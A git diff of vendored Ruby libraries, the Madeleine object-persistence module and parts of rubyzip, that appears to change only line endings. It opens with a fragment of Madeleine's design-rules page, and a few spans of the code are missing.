    The command must raise errors before modifying the system

    + +

    Unlike a RDBMS, Madeleine can't roll back a command (yet). This means +that your commands will have to do their error checking and raise any +errors before modifying the system. Failing to do this will cause an +inconsistent command log. + +

    Command objects can't hold references to the system's objects

    + +

    Unmarshalling such a command would create clones of the original +objects, which would then be modified instead of the real +objects. The commands must find the objects to modify. + +


    + +$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ + + + diff --git a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb index 9c057a87..447d5ec3 100755 --- a/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb +++ b/vendor/madeleine-0.7.1/lib/madeleine/automatic.rb @@ -1,418 +1,418 @@ -require 'yaml' -require 'madeleine/zmarshal' -require 'soap/marshal' - -module Madeleine - -# Automatic commands for Madeleine -# -# Author:: Stephen Sykes -# Copyright:: Copyright (C) 2003-2004 -# Version:: 0.41 -# -# This module provides a way of automatically generating command objects for madeleine to -# store. It works by making a proxy object for all objects of any classes in which it is included. -# Method calls to these objects are intercepted, and stored as a command before being -# passed on to the real receiver. The command objects remember which object the command was -# destined for by using a pair of internal ids that are contained in each of the proxy objects. -# -# There is also a mechanism for specifying which methods not to intercept calls to by using -# automatic_read_only, and its opposite automatic_read_write. -# -# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass -# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. -# If the passed marshaller did not successfully deserialize the latest snapshot, the system -# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding -# compressed versions. -# -# This module is designed to work correctly in the case there are multiple madeleine systems in use by -# a single program, and is also safe to use with threads. -# -# Usage: -# -# require 'madeleine' -# require 'madeleine/automatic' -# -# class A -# include Madeleine::Automatic::Interceptor -# attr_reader :foo -# automatic_read_only :foo -# def initialize(param1, ...) -# ... -# end -# def some_method(paramA, ...) -# ... -# end -# automatic_read_only -# def bigfoo -# foo.upcase -# end -# end -# -# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } -# -# mad.system.some_method(paramA, ...) # logged as a command by madeleine -# print mad.foo # not logged -# print mad.bigfoo # not logged -# mad.take_snapshot -# - - module Automatic -# -# This module should be included (at the top) in any classes that are to be persisted. -# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. -# It does this by returning a Prox object that is a proxy for the real object. -# -# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods -# should be made into commands -# - module Interceptor -# -# When included, redefine new so that we can return a Prox object instead, and define methods to handle -# keeping track of which methods are read only -# - def self.included(klass) - class < "") - x - end - - end - -# -# The AutomaticSnapshotMadeleine class contains an instance of the persister -# (default is SnapshotMadeleine) and provides additional automatic functionality. -# -# The class is instantiated the same way as SnapshotMadeleine: -# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } -# The second initialisation parameter is the persister. Supported persisters are: -# -# * Marshal (default) -# * YAML -# * SOAP::Marshal -# * Madeleine::ZMarshal.new(Marshal) -# * Madeleine::ZMarshal.new(YAML) -# * Madeleine::ZMarshal.new(SOAP::Marshal) -# -# The class keeps a record of all the systems that currently exist. -# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). -# -# We also add functionality to take_snapshot in order to set things up so that the custom Prox object -# marshalling will work correctly. -# - class AutomaticSnapshotMadeleine - attr_accessor :marshaller - attr_reader :list, :sysid - - def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) - @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid - @myid_count = 0 - @list = {} - Thread.current[:system] = self # during system startup system should not create commands - Thread.critical = true - @@systems ||= {} # holds systems by sysid - @@systems[@sysid] = self - Thread.critical = false - @marshaller = marshaller # until attrb - begin - @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) - @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid - begin - ObjectSpace._id2ref(v).sysid = @sysid - false - rescue RangeError - true # Id was to a GC'd object, delete it - end - } - ensure - Thread.current[:system] = false - end - end -# -# Add a proxy object to the list, return the myid for that object -# - def add(proxo) - @list[@myid_count += 1] = proxo.object_id - @myid_count - end -# -# Restore a marshalled proxy object to list - myid_count is increased as required. -# If the object already exists in the system then the existing object must be used. -# - def restore(proxo) - if (@list[proxo.myid]) - proxo = myid2ref(proxo.myid) - else - @list[proxo.myid] = proxo.object_id - @myid_count = proxo.myid if (@myid_count < proxo.myid) - end - proxo - end -# -# Returns a reference to the object indicated by the internal id supplied. -# - def myid2ref(myid) - raise "Internal id #{myid} not found" unless objid = @list[myid] - ObjectSpace._id2ref(objid) - end -# -# Take a snapshot of the system. -# - def take_snapshot - begin - Thread.current[:system] = self - Thread.current[:snapshot_memory] = {} - @persister.take_snapshot - ensure - Thread.current[:snapshot_memory] = nil - Thread.current[:system] = false - end - end -# -# Returns the hash containing the systems. -# - def AutomaticSnapshotMadeleine.systems - @@systems - end -# -# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new -# system before GC gets them -# - def close - begin - @list.each_key {|k| myid2ref(k).sysid = nil} - rescue RangeError - # do nothing - end - @persister.close - end - -# -# Pass on any other calls to the persister -# - def method_missing(symbol, *args, &block) - @persister.send(symbol, *args, &block) - end - end - - - module Deserialize #:nodoc: -# -# Detect format of an io stream. Leave it rewound. -# - def Deserialize.detect(io) - c = io.getc - c1 = io.getc - io.rewind - if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) - Marshal - elsif (c == 31 && c1 == 139) # gzip magic numbers - ZMarshal - else - while (s = io.gets) - break if (s !~ /^\s*$/) # ignore blank lines - end - io.rewind - if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e - io.rewind - detected_marshaller = detect(io) - if (detected_marshaller == ZMarshal) - zio = Zlib::GzipReader.new(io) - detected_zmarshaller = detect(zio) - zio.finish - io.rewind - if (detected_zmarshaller) - ZMarshal.new(detected_zmarshaller).load(io) - else - raise e - end - elsif (detected_marshaller) - detected_marshaller.load(io) - else - raise e - end - end - end - end - - end -end - -AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine +require 'yaml' +require 'madeleine/zmarshal' +require 'soap/marshal' + +module Madeleine + +# Automatic commands for Madeleine +# +# Author:: Stephen Sykes +# Copyright:: Copyright (C) 2003-2004 +# Version:: 0.41 +# +# This module provides a way of automatically generating command objects for madeleine to +# store. It works by making a proxy object for all objects of any classes in which it is included. +# Method calls to these objects are intercepted, and stored as a command before being +# passed on to the real receiver. The command objects remember which object the command was +# destined for by using a pair of internal ids that are contained in each of the proxy objects. +# +# There is also a mechanism for specifying which methods not to intercept calls to by using +# automatic_read_only, and its opposite automatic_read_write. +# +# Should you require it, the snapshots can be stored as yaml, and can be compressed. Just pass +# the marshaller you want to use as the second argument to AutomaticSnapshotMadeleine.new. +# If the passed marshaller did not successfully deserialize the latest snapshot, the system +# will try to automatically detect and read either Marshal, YAML, SOAP, or their corresponding +# compressed versions. +# +# This module is designed to work correctly in the case there are multiple madeleine systems in use by +# a single program, and is also safe to use with threads. +# +# Usage: +# +# require 'madeleine' +# require 'madeleine/automatic' +# +# class A +# include Madeleine::Automatic::Interceptor +# attr_reader :foo +# automatic_read_only :foo +# def initialize(param1, ...) +# ... +# end +# def some_method(paramA, ...) +# ... +# end +# automatic_read_only +# def bigfoo +# foo.upcase +# end +# end +# +# mad = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# +# mad.system.some_method(paramA, ...) # logged as a command by madeleine +# print mad.foo # not logged +# print mad.bigfoo # not logged +# mad.take_snapshot +# + + module Automatic +# +# This module should be included (at the top) in any classes that are to be persisted. +# It will intercept method calls and make sure they are converted into commands that are logged by Madeleine. +# It does this by returning a Prox object that is a proxy for the real object. +# +# It also handles automatic_read_only and automatic_read_write, allowing user specification of which methods +# should be made into commands +# + module Interceptor +# +# When included, redefine new so that we can return a Prox object instead, and define methods to handle +# keeping track of which methods are read only +# + def self.included(klass) + class < "") + x + end + + end + +# +# The AutomaticSnapshotMadeleine class contains an instance of the persister +# (default is SnapshotMadeleine) and provides additional automatic functionality. +# +# The class is instantiated the same way as SnapshotMadeleine: +# madeleine_sys = AutomaticSnapshotMadeleine.new("storage_directory") { A.new(param1, ...) } +# The second initialisation parameter is the persister. Supported persisters are: +# +# * Marshal (default) +# * YAML +# * SOAP::Marshal +# * Madeleine::ZMarshal.new(Marshal) +# * Madeleine::ZMarshal.new(YAML) +# * Madeleine::ZMarshal.new(SOAP::Marshal) +# +# The class keeps a record of all the systems that currently exist. +# Each instance of the class keeps a record of Prox objects in that system by internal id (myid). +# +# We also add functionality to take_snapshot in order to set things up so that the custom Prox object +# marshalling will work correctly. +# + class AutomaticSnapshotMadeleine + attr_accessor :marshaller + attr_reader :list, :sysid + + def initialize(directory_name, marshaller=Marshal, persister=SnapshotMadeleine, &new_system_block) + @sysid ||= Time.now.to_f.to_s + Thread.current.object_id.to_s # Gererate a new sysid + @myid_count = 0 + @list = {} + Thread.current[:system] = self # during system startup system should not create commands + Thread.critical = true + @@systems ||= {} # holds systems by sysid + @@systems[@sysid] = self + Thread.critical = false + @marshaller = marshaller # until attrb + begin + @persister = persister.new(directory_name, Automatic_marshaller, &new_system_block) + @list.delete_if {|k,v| # set all the prox objects that now exist to have the right sysid + begin + ObjectSpace._id2ref(v).sysid = @sysid + false + rescue RangeError + true # Id was to a GC'd object, delete it + end + } + ensure + Thread.current[:system] = false + end + end +# +# Add a proxy object to the list, return the myid for that object +# + def add(proxo) + @list[@myid_count += 1] = proxo.object_id + @myid_count + end +# +# Restore a marshalled proxy object to list - myid_count is increased as required. +# If the object already exists in the system then the existing object must be used. +# + def restore(proxo) + if (@list[proxo.myid]) + proxo = myid2ref(proxo.myid) + else + @list[proxo.myid] = proxo.object_id + @myid_count = proxo.myid if (@myid_count < proxo.myid) + end + proxo + end +# +# Returns a reference to the object indicated by the internal id supplied. +# + def myid2ref(myid) + raise "Internal id #{myid} not found" unless objid = @list[myid] + ObjectSpace._id2ref(objid) + end +# +# Take a snapshot of the system. +# + def take_snapshot + begin + Thread.current[:system] = self + Thread.current[:snapshot_memory] = {} + @persister.take_snapshot + ensure + Thread.current[:snapshot_memory] = nil + Thread.current[:system] = false + end + end +# +# Returns the hash containing the systems. +# + def AutomaticSnapshotMadeleine.systems + @@systems + end +# +# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new +# system before GC gets them +# + def close + begin + @list.each_key {|k| myid2ref(k).sysid = nil} + rescue RangeError + # do nothing + end + @persister.close + end + +# +# Pass on any other calls to the persister +# + def method_missing(symbol, *args, &block) + @persister.send(symbol, *args, &block) + end + end + + + module Deserialize #:nodoc: +# +# Detect format of an io stream. Leave it rewound. +# + def Deserialize.detect(io) + c = io.getc + c1 = io.getc + io.rewind + if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION) + Marshal + elsif (c == 31 && c1 == 139) # gzip magic numbers + ZMarshal + else + while (s = io.gets) + break if (s !~ /^\s*$/) # ignore blank lines + end + io.rewind + if (s && s =~ /^\s*<\?[xX][mM][lL]/) # " e + io.rewind + detected_marshaller = detect(io) + if (detected_marshaller == ZMarshal) + zio = Zlib::GzipReader.new(io) + detected_zmarshaller = detect(zio) + zio.finish + io.rewind + if (detected_zmarshaller) + ZMarshal.new(detected_zmarshaller).load(io) + else + raise e + end + elsif (detected_marshaller) + detected_marshaller.load(io) + else + raise e + end + end + end + end + + end +end + +AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine diff --git a/vendor/rubyzip-0.5.6/rubyzip.gemspec b/vendor/rubyzip-0.5.6/rubyzip.gemspec index 951569b8..70c9d81e 100755 --- a/vendor/rubyzip-0.5.6/rubyzip.gemspec +++ b/vendor/rubyzip-0.5.6/rubyzip.gemspec @@ -1,20 +1,20 @@ -$:.unshift '../lib' -require 'rubygems' - -spec = Gem::Specification.new do |s| - s.name = 'rubyzip' - s.version = "0.5.5" - s.author = "Thomas Sondergaard" - s.email = "thomas(at)thomassondergaard.com" - s.homepage = "http://rubyzip.sourceforge.net/" - s.platform = Gem::Platform::RUBY - s.summary = "rubyzip is a ruby module for reading and writing zip files" - s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} - s.require_path = '.' - s.autorequire = 'zip/zip' -end - -if $0==__FILE__ - Gem::Builder.new(spec).build -end - +$:.unshift '../lib' +require 'rubygems' + +spec = Gem::Specification.new do |s| + s.name = 'rubyzip' + s.version = "0.5.5" + s.author = "Thomas Sondergaard" + s.email = "thomas(at)thomassondergaard.com" + s.homepage = "http://rubyzip.sourceforge.net/" + s.platform = Gem::Platform::RUBY + s.summary = "rubyzip is a ruby module for reading and writing zip files" + s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} + s.require_path = '.' + s.autorequire = 'zip/zip' +end + +if $0==__FILE__ + Gem::Builder.new(spec).build +end + diff --git a/vendor/rubyzip-0.5.6/samples/write_simple.rb b/vendor/rubyzip-0.5.6/samples/write_simple.rb index d0c30a43..47b72adb 100755 --- a/vendor/rubyzip-0.5.6/samples/write_simple.rb +++ b/vendor/rubyzip-0.5.6/samples/write_simple.rb @@ -1,13 +1,13 @@ -#!/usr/bin/env ruby - -$: << ".." - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" +#!/usr/bin/env ruby + +$: << ".." + +require 'zip/zip' + +include Zip + +ZipOutputStream.open('simple.zip') { + |zos| + ze = zos.put_next_entry 'entry.txt' + zos.puts "Hello world" } \ No newline at end of file diff --git a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb index 11a7a84a..ae82508f 100755 --- a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb +++ b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb @@ -1,195 +1,195 @@ -# -# tempfile - manipulates temporary files -# -# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ -# - -require 'delegate' -require 'tmpdir' - -module BugFix - -# A class for managing temporary files. This library is written to be -# thread safe. -class Tempfile < DelegateClass(File) - MAX_TRY = 10 - @@cleanlist = [] - - # Creates a temporary file of mode 0600 in the temporary directory - # whose name is basename.pid.n and opens with mode "w+". A Tempfile - # object works just like a File object. - # - # If tmpdir is omitted, the temporary directory is determined by - # Dir::tmpdir provided by 'tmpdir.rb'. - # When $SAFE > 0 and the given tmpdir is tainted, it uses - # /tmp. (Note that ENV values are tainted by default) - def initialize(basename, tmpdir=Dir::tmpdir) - if $SAFE > 0 and tmpdir.tainted? - tmpdir = '/tmp' - end - - lock = nil - n = failure = 0 - - begin - Thread.critical = true - - begin - tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) - lock = tmpname + '.lock' - n += 1 - end while @@cleanlist.include?(tmpname) or - File.exist?(lock) or File.exist?(tmpname) - - Dir.mkdir(lock) - rescue - failure += 1 - retry if failure < MAX_TRY - raise "cannot generate tempfile `%s'" % tmpname - ensure - Thread.critical = false - end - - @data = [tmpname] - @clean_proc = Tempfile.callback(@data) - ObjectSpace.define_finalizer(self, @clean_proc) - - @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) - @tmpname = tmpname - @@cleanlist << @tmpname - @data[1] = @tmpfile - @data[2] = @@cleanlist - - super(@tmpfile) - - # Now we have all the File/IO methods defined, you must not - # carelessly put bare puts(), etc. after this. - - Dir.rmdir(lock) - end - - # Opens or reopens the file with mode "r+". - def open - @tmpfile.close if @tmpfile - @tmpfile = File.open(@tmpname, 'r+') - @data[1] = @tmpfile - __setobj__(@tmpfile) - end - - def _close # :nodoc: - @tmpfile.close if @tmpfile - @data[1] = @tmpfile = nil - end - protected :_close - - # Closes the file. If the optional flag is true, unlinks the file - # after closing. - # - # If you don't explicitly unlink the temporary file, the removal - # will be delayed until the object is finalized. - def close(unlink_now=false) - if unlink_now - close! - else - _close - end - end - - # Closes and unlinks the file. - def close! - _close - @clean_proc.call - ObjectSpace.undefine_finalizer(self) - end - - # Unlinks the file. On UNIX-like systems, it is often a good idea - # to unlink a temporary file immediately after creating and opening - # it, because it leaves other programs zero chance to access the - # file. - def unlink - # keep this order for thread safeness - File.unlink(@tmpname) if File.exist?(@tmpname) - @@cleanlist.delete(@tmpname) if @@cleanlist - end - alias delete unlink - - if RUBY_VERSION > '1.8.0' - def __setobj__(obj) - @_dc_obj = obj - end - else - def __setobj__(obj) - @obj = obj - end - end - - # Returns the full path name of the temporary file. - def path - @tmpname - end - - # Returns the size of the temporary file. As a side effect, the IO - # buffer is flushed before determining the size. - def size - if @tmpfile - @tmpfile.flush - @tmpfile.stat.size - else - 0 - end - end - alias length size - - class << self - def callback(data) # :nodoc: - pid = $$ - lambda{ - if pid == $$ - path, tmpfile, cleanlist = *data - - print "removing ", path, "..." if $DEBUG - - tmpfile.close if tmpfile - - # keep this order for thread safeness - File.unlink(path) if File.exist?(path) - cleanlist.delete(path) if cleanlist - - print "done\n" if $DEBUG - end - } - end - - # If no block is given, this is a synonym for new(). - # - # If a block is given, it will be passed tempfile as an argument, - # and the tempfile will automatically be closed when the block - # terminates. In this case, open() returns nil. - def open(*args) - tempfile = new(*args) - - if block_given? - begin - yield(tempfile) - ensure - tempfile.close - end - - nil - else - tempfile - end - end - end -end - -end # module BugFix -if __FILE__ == $0 -# $DEBUG = true - f = Tempfile.new("foo") - f.print("foo\n") - f.close - f.open - p f.gets # => "foo\n" - f.close! -end +# +# tempfile - manipulates temporary files +# +# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ +# + +require 'delegate' +require 'tmpdir' + +module BugFix + +# A class for managing temporary files. This library is written to be +# thread safe. +class Tempfile < DelegateClass(File) + MAX_TRY = 10 + @@cleanlist = [] + + # Creates a temporary file of mode 0600 in the temporary directory + # whose name is basename.pid.n and opens with mode "w+". A Tempfile + # object works just like a File object. + # + # If tmpdir is omitted, the temporary directory is determined by + # Dir::tmpdir provided by 'tmpdir.rb'. + # When $SAFE > 0 and the given tmpdir is tainted, it uses + # /tmp. (Note that ENV values are tainted by default) + def initialize(basename, tmpdir=Dir::tmpdir) + if $SAFE > 0 and tmpdir.tainted? + tmpdir = '/tmp' + end + + lock = nil + n = failure = 0 + + begin + Thread.critical = true + + begin + tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) + lock = tmpname + '.lock' + n += 1 + end while @@cleanlist.include?(tmpname) or + File.exist?(lock) or File.exist?(tmpname) + + Dir.mkdir(lock) + rescue + failure += 1 + retry if failure < MAX_TRY + raise "cannot generate tempfile `%s'" % tmpname + ensure + Thread.critical = false + end + + @data = [tmpname] + @clean_proc = Tempfile.callback(@data) + ObjectSpace.define_finalizer(self, @clean_proc) + + @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) + @tmpname = tmpname + @@cleanlist << @tmpname + @data[1] = @tmpfile + @data[2] = @@cleanlist + + super(@tmpfile) + + # Now we have all the File/IO methods defined, you must not + # carelessly put bare puts(), etc. after this. + + Dir.rmdir(lock) + end + + # Opens or reopens the file with mode "r+". + def open + @tmpfile.close if @tmpfile + @tmpfile = File.open(@tmpname, 'r+') + @data[1] = @tmpfile + __setobj__(@tmpfile) + end + + def _close # :nodoc: + @tmpfile.close if @tmpfile + @data[1] = @tmpfile = nil + end + protected :_close + + # Closes the file. If the optional flag is true, unlinks the file + # after closing. + # + # If you don't explicitly unlink the temporary file, the removal + # will be delayed until the object is finalized. + def close(unlink_now=false) + if unlink_now + close! + else + _close + end + end + + # Closes and unlinks the file. + def close! + _close + @clean_proc.call + ObjectSpace.undefine_finalizer(self) + end + + # Unlinks the file. On UNIX-like systems, it is often a good idea + # to unlink a temporary file immediately after creating and opening + # it, because it leaves other programs zero chance to access the + # file. + def unlink + # keep this order for thread safeness + File.unlink(@tmpname) if File.exist?(@tmpname) + @@cleanlist.delete(@tmpname) if @@cleanlist + end + alias delete unlink + + if RUBY_VERSION > '1.8.0' + def __setobj__(obj) + @_dc_obj = obj + end + else + def __setobj__(obj) + @obj = obj + end + end + + # Returns the full path name of the temporary file. + def path + @tmpname + end + + # Returns the size of the temporary file. As a side effect, the IO + # buffer is flushed before determining the size. + def size + if @tmpfile + @tmpfile.flush + @tmpfile.stat.size + else + 0 + end + end + alias length size + + class << self + def callback(data) # :nodoc: + pid = $$ + lambda{ + if pid == $$ + path, tmpfile, cleanlist = *data + + print "removing ", path, "..." if $DEBUG + + tmpfile.close if tmpfile + + # keep this order for thread safeness + File.unlink(path) if File.exist?(path) + cleanlist.delete(path) if cleanlist + + print "done\n" if $DEBUG + end + } + end + + # If no block is given, this is a synonym for new(). + # + # If a block is given, it will be passed tempfile as an argument, + # and the tempfile will automatically be closed when the block + # terminates. In this case, open() returns nil. + def open(*args) + tempfile = new(*args) + + if block_given? + begin + yield(tempfile) + ensure + tempfile.close + end + + nil + else + tempfile + end + end + end +end + +end # module BugFix +if __FILE__ == $0 +# $DEBUG = true + f = Tempfile.new("foo") + f.print("foo\n") + f.close + f.open + p f.gets # => "foo\n" + f.close! +end